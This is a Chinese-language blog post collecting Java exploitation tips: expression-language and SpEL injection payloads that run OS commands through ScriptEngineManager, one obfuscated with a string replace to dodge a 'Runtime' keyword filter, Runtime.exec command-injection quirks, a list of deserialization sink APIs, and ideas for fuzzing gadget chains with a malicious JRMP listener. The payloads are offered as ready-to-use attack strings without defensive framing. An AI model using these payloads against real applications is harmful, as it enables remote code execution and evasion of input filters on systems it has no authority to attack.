Java漏洞利用各种tips-持续更新

执行命令相关

static{}、{}、constructor():

Class.forName会执行static{}
.newInstance会执行所有三个
new也会执行三个
Class.class一个也不执行
defineClass不会执行static{},需要再Class.newInstance()

学了一手ScriptEngineManager:

1
2
3
4
5
EL: 貌似有问题
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

scriptEngine.eval():ok
"".equals(javax.script.ScriptEngineManager.class.getConstructor().newInstance().getEngineByExtension("js").eval("java.lang.Auntime.getAuntime().exec(\"touch /tmp/owned.jsp\")".replaceAll("A","R")))

Spel+scriptEngine最强资料:

1
2
3
4
5
https://www.mi1k7ea.com/2019/04/05/Spring-Data-Rest%E4%B9%8Bcve-2017-8046%E5%88%86%E6%9E%90/

https://www.mi1k7ea.com/2020/01/10/SpEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/

http://rui0.cn/archives/1043

命令执行一些坑

1
2
3
4
5
Runtime.getRuntime().exec("/bin/bash -c open${IFS}-a${IFS}calculator");  //可以
Runtime.getRuntime().exec("cat flag"); //可以
Runtime.getRuntime().exec(new String[]{"java","-jar","1.jar||/bin/bash -c open${IFS}-a${IFS}calculator"}); //不行

exec参数是数组时不能命令注入貌似,因为会找不到执行的程序。String 时可以

各种EL执行命令

反序列化触发点:

ObjectInputStream.readObject // 流转化为Object
ObjectInputStream.readUnshared // 流转化为Object
XMLDecoder.readObject // 读取xml转化为Object
Yaml.load // yaml字符串转Object
XStream.fromXML // XStream用于Java Object与xml相互转化
ObjectMapper.readValue // jackson中的api
JSON.parseObject // fastjson中的api

JRMP Fuzz Gadget

很多时候需要Fuzz Gadget,这里有三个思路:

  1. sleep,这个不多说,burp那个插件就是这个思路。
  2. DNS,这个不多说,burp那个插件也有这个思路。
  3. JRMP,这个比较骚,比如能JRMPClient打出来,我们可以写一个Evil JRMPListener,枚举所有gadget,然后结合DNS即可快速fuzz

Proudly powered by Hexo and Theme by Hacker
© 2023 LFY